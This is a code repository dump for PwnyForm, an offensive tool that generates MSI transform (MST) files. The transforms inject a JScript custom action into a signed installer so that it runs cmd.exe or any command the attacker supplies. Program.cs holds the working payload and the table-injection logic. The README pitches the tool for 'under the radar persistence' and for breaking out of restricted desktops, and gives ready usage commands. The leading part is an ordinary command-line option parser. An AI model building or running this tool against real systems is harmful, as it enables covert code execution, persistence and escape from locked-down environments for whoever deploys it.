1706 | throw new ArgumentNullException(nameof(arguments));
1707 |
1708 | this.showHelp = false;
1709 | if (help == null) {
1710 | help = new HelpCommand();
1711 | AddCommand(help);
1712 | }
1713 | Action setHelp = v => showHelp = v != null;
1714 | if (!options.Contains("help")) {
1715 | options.Add("help", "", setHelp, hidden: true);
1716 | }
1717 | if (!options.Contains("?")) {
1718 | options.Add("?", "", setHelp, hidden: true);
1719 | }
1720 | var extra = options.Parse(arguments);
1721 | if (extra.Count == 0) {
1722 | if (showHelp) {
1723 | return help.Invoke(extra);
1724 | }
1725 | Out.WriteLine(options.MessageLocalizer($"Use `{Suite} help` for usage."));
1726 | return 1;
1727 | }
1728 | var command = GetCommand(extra);
1729 | if (command == null) {
1730 | help.WriteUnknownCommand(extra[0]);
1731 | return 1;
1732 | }
1733 | if (showHelp) {
1734 | if (command.Options?.Contains("help") ?? true) {
1735 | extra.Add("--help");
1736 | return command.Invoke(extra);
1737 | }
1738 | command.Options.WriteOptionDescriptions(Out);
1739 | return 0;
1740 | }
1741 | return command.Invoke(extra);
1742 | }
1743 |
1744 | internal Command GetCommand(List extra) {
1745 | return TryGetLocalCommand(extra) ?? TryGetNestedCommand(extra);
1746 | }
1747 |
1748 | Command TryGetLocalCommand(List extra) {
1749 | var name = extra[0];
1750 | if (Contains(name)) {
1751 | extra.RemoveAt(0);
1752 | return this[name];
1753 | }
1754 | for (int i = 1; i < extra.Count; ++i) {
1755 | name = name + " " + extra[i];
1756 | if (!Contains(name))
1757 | continue;
1758 | extra.RemoveRange(0, i + 1);
1759 | return this[name];
1760 | }
1761 | return null;
1762 | }
1763 |
1764 | Command TryGetNestedCommand(List extra) {
1765 | if (NestedCommandSets == null)
1766 | return null;
1767 |
1768 | var nestedCommands = NestedCommandSets.Find(c => c.Suite == extra[0]);
1769 | if (nestedCommands == null)
1770 | return null;
1771 |
1772 | var extraCopy = new List(extra);
1773 | extraCopy.RemoveAt(0);
1774 | if (extraCopy.Count == 0)
1775 | return null;
1776 |
1777 | var command = nestedCommands.GetCommand(extraCopy);
1778 | if (command != null) {
1779 | extra.Clear();
1780 | extra.AddRange(extraCopy);
1781 | return command;
1782 | }
1783 | return null;
1784 | }
1785 | }
1786 |
1787 | internal class HelpCommand : Command {
1788 | public HelpCommand()
1789 | : base("help", help: "Show this message and exit") {
1790 | }
1791 |
1792 | public override int Invoke(IEnumerable arguments) {
1793 | var extra = new List(arguments ?? new string[0]);
1794 | var _ = CommandSet.Options.MessageLocalizer;
1795 | if (extra.Count == 0) {
1796 | CommandSet.Options.WriteOptionDescriptions(CommandSet.Out);
1797 | return 0;
1798 | }
1799 | var command = CommandSet.GetCommand(extra);
1800 | if (command == this || extra.Contains("--help")) {
1801 | CommandSet.Out.WriteLine(_($"Usage: {CommandSet.Suite} COMMAND [OPTIONS]"));
1802 | CommandSet.Out.WriteLine(_($"Use `{CommandSet.Suite} help COMMAND` for help on a specific command."));
1803 | CommandSet.Out.WriteLine();
1804 | CommandSet.Out.WriteLine(_($"Available commands:"));
1805 | CommandSet.Out.WriteLine();
1806 | var commands = GetCommands();
1807 | commands.Sort((x, y) => string.Compare(x.Key, y.Key, StringComparison.OrdinalIgnoreCase));
1808 | foreach (var c in commands) {
1809 | if (c.Key == "help") {
1810 | continue;
1811 | }
1812 | CommandSet.Options.WriteCommandDescription(CommandSet.Out, c.Value, c.Key);
1813 | }
1814 | CommandSet.Options.WriteCommandDescription(CommandSet.Out, CommandSet.help, "help");
1815 | return 0;
1816 | }
1817 | if (command == null) {
1818 | WriteUnknownCommand(extra[0]);
1819 | return 1;
1820 | }
1821 | if (command.Options != null) {
1822 | command.Options.WriteOptionDescriptions(CommandSet.Out);
1823 | return 0;
1824 | }
1825 | return command.Invoke(new[] { "--help" });
1826 | }
1827 |
1828 | List> GetCommands() {
1829 | var commands = new List>();
1830 |
1831 | foreach (var c in CommandSet) {
1832 | commands.Add(new KeyValuePair(c.Name, c));
1833 | }
1834 |
1835 | if (CommandSet.NestedCommandSets == null)
1836 | return commands;
1837 |
1838 | foreach (var nc in CommandSet.NestedCommandSets) {
1839 | AddNestedCommands(commands, "", nc);
1840 | }
1841 |
1842 | return commands;
1843 | }
1844 |
1845 | void AddNestedCommands(List> commands, string outer, CommandSet value) {
1846 | foreach (var v in value) {
1847 | commands.Add(new KeyValuePair($"{outer}{value.Suite} {v.Name}", v));
1848 | }
1849 | if (value.NestedCommandSets == null)
1850 | return;
1851 | foreach (var nc in value.NestedCommandSets) {
1852 | AddNestedCommands(commands, $"{outer}{value.Suite} ", nc);
1853 | }
1854 | }
1855 |
1856 | internal void WriteUnknownCommand(string unknownCommand) {
1857 | CommandSet.Error.WriteLine(CommandSet.Options.MessageLocalizer($"{CommandSet.Suite}: Unknown command: {unknownCommand}"));
1858 | CommandSet.Error.WriteLine(CommandSet.Options.MessageLocalizer($"{CommandSet.Suite}: Use `{CommandSet.Suite} help` for usage."));
1859 | }
1860 | }
1861 | }
1862 |
--------------------------------------------------------------------------------
/PwnyForm/Program.cs:
--------------------------------------------------------------------------------
1 |
2 | using System;
3 | using System.IO;
4 | using System.Text;
5 | using Microsoft.Deployment.WindowsInstaller;
6 | using Mono.Options;
7 |
8 | namespace PwnyForm {
9 | class Program {
10 |
11 | public enum SequenceType {
12 | UI,
13 | Execute
14 | }
15 |
16 | static string caCode = @"function runCommand(){
17 | var cmd;
18 | if(typeof Session !== 'undefined'){
19 | cmd = Session.Property('CMD');
20 | }
21 | if(cmd == null){
22 | cmd = 'cmd.exe';
23 | }
24 | var shell = new ActiveXObject('WScript.Shell');
25 | shell.run(cmd, 1, false);
26 | }";
27 |
28 | static void Main(string[] args) {
29 |
30 | string msi = null;
31 | string mst = null;
32 | int order = 1;
33 | bool showHelp = false;
34 | SequenceType sequenceType = SequenceType.UI;
35 | string sequenceTable = "InstallUISequence";
36 |
37 | Console.WriteLine(
38 | "PwnyForm by @_EthicalChaos_\n" +
39 | $" Generates MST transform to inject arbitrary commands/cutom actions when installing MSI files\n"
40 | );
41 |
42 | OptionSet option_set = new OptionSet()
43 | .Add("m=|msi=", "MSI file to base transform on (required)", v => msi = v)
44 | .Add("t=|mst=", "MST to generate that includes new custom action (required)", v => mst = v)
45 | .Add("s=|sequence=", "Which sequence table should inject the custom action into (UI (default) | Execute)", v => sequenceType = v)
46 | .Add("o=|order=", "Which sequence number to use (defaults 1)", v => order = v)
47 | .Add("h|help", "Display this help", v => showHelp = v != null);
48 |
49 | try {
50 |
51 | option_set.Parse(args);
52 |
53 | if (showHelp || msi == null || mst == null) {
54 | option_set.WriteOptionDescriptions(Console.Out);
55 | return;
56 | }
57 |
58 | } catch (Exception e) {
59 | Console.WriteLine("[!] Failed to parse arguments: {0}", e.Message);
60 | option_set.WriteOptionDescriptions(Console.Out);
61 | return;
62 | }
63 |
64 | switch (sequenceType) {
65 | case SequenceType.UI:
66 | sequenceTable = "InstallUISequence";
67 | break;
68 | case SequenceType.Execute:
69 | sequenceTable = "InstallExecuteSequence";
70 | break;
71 | }
72 |
73 | string tmpMsi = Path.GetTempFileName();
74 |
75 | try {
76 |
77 | File.Copy(msi, tmpMsi, true);
78 | using (var origDatabase = new Database(msi, DatabaseOpenMode.ReadOnly)) {
79 | using (var database = new Database(tmpMsi, DatabaseOpenMode.Direct)) {
80 |
81 | if (!database.Tables.Contains("Binary")) {
82 | Console.WriteLine("[-] Binary table missing, creating...");
83 |
84 | TableInfo ti = new TableInfo("Binary",
85 | new ColumnInfo[] { new ColumnInfo("Name","s72"),
86 | new ColumnInfo("Data", "v0") },
87 | new string[] { "Name" });
88 |
89 | database.Tables.Add(ti);
90 | }
91 |
92 | if (!database.Tables.Contains("CustomAction")) {
93 | Console.WriteLine("[-] CustomAction table missing, creating...");
94 |
95 | TableInfo ti = new TableInfo("CustomAction",
96 | new ColumnInfo[] { new ColumnInfo("Action","s72"),
97 | new ColumnInfo("Type", "i2"),
98 | new ColumnInfo("Source", typeof(string), 72, false),
99 | new ColumnInfo("Target", typeof(string), 255, false),
100 | new ColumnInfo("ExtendedType", typeof(int), 4, false)}
101 | ,
102 | new string[] { "Action" });
103 |
104 | database.Tables.Add(ti);
105 | }
106 |
107 | if (!database.Tables.Contains(sequenceTable)) {
108 | Console.WriteLine($"[!] The sequence table {sequenceTable} does not exist, is this a proper MSI file?");
109 | return;
110 | }
111 |
112 | Console.WriteLine($"[+] Inserting Custom Action into {sequenceTable} table using sequence number {order}");
113 |
114 | Record binaryRecord = new Record(2);
115 | binaryRecord[1] = "Pwnd";
116 | binaryRecord.SetStream(2, new MemoryStream(Encoding.UTF8.GetBytes(caCode)));
117 | database.Execute("INSERT INTO `Binary` (`Name`, `Data`) VALUES (?, ?)", binaryRecord);
118 | database.Execute("INSERT INTO `CustomAction` (`Action`, `Type`, `Source`, `Target`) VALUES ('Pwnd', 5, 'Pwnd', 'runCommand')");
119 | database.Execute($"INSERT INTO `{sequenceTable}` (`Action`, `Sequence`) VALUES ('Pwnd', {order})");
120 |
121 | Console.WriteLine($"[+] Generating MST file {mst}");
122 |
123 | database.GenerateTransform(origDatabase, mst);
124 | database.CreateTransformSummaryInfo(origDatabase, mst, TransformErrors.None, TransformValidations.None);
125 |
126 | Console.WriteLine("[+] Done!");
127 | }
128 | }
129 | }catch(Exception e) {
130 | Console.WriteLine($"[!] Failed to generate MST with error {e.Message}");
131 | }
132 | }
133 | }
134 | }
135 |
--------------------------------------------------------------------------------
/PwnyForm/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("PwnyForm")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("PwnyForm")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("aad06c06-d91c-4029-bcde-e1ccb706e5b9")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/PwnyForm/PwnyForm.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {AAD06C06-D91C-4029-BCDE-E1CCB706E5B9}
8 | Exe
9 | PwnyForm
10 | PwnyForm
11 | v4.7.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 | ..\..\..\..\..\..\Tools\wix311\sdk\Microsoft.Deployment.WindowsInstaller.dll
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PwnyForm
2 |
3 | ## Overview
4 |
5 | PwnyForm will take an MSI installer as input and generate an MSI transform (mst) that can be used to inject arbitrary command execution by adding a custom action that will execute during the UI or Install sequence of an MSI file.
6 |
7 | The generated MST produces a JScript custom action that will by default launch cmd.exe, the executed command can be overriden using the CMD MSI property
8 |
9 | ## Why
10 |
11 | Generating an MST can be used as a method for adding custom behavior to signed MSI files without modifying the MSI itself, under the radar persistence or possibly breakout of restricted desktops environments if msiexec is allowed to execute.
12 |
13 | ## Usage
14 |
15 | ```cmd
16 | PwnyForm by @_EthicalChaos_
17 | Generates MST transform to inject arbitrary commands/custom actions when installing MSI files
18 |
19 | -m, --msi=VALUE MSI file to base transform on (required)
20 | -t, --mst=VALUE MST to generate that includes new custom action (
21 | required)
22 | -s, --sequence=VALUE Which sequence table should inject the custom
23 | action into (UI (default) | Execute)
24 | -o, --order=VALUE Which sequence number to use (defaults 1)
25 | -h, --help Display this help
26 | ```
27 |
28 | Example usage
29 |
30 | ```cmd
31 | PwnyForm -m Setup.msi -t Pwnd.mst
32 | msiexec -i Setup.msi CMD=cmd.exe TRANSFORMS=Pwnd.mst
33 | ```
34 |
--------------------------------------------------------------------------------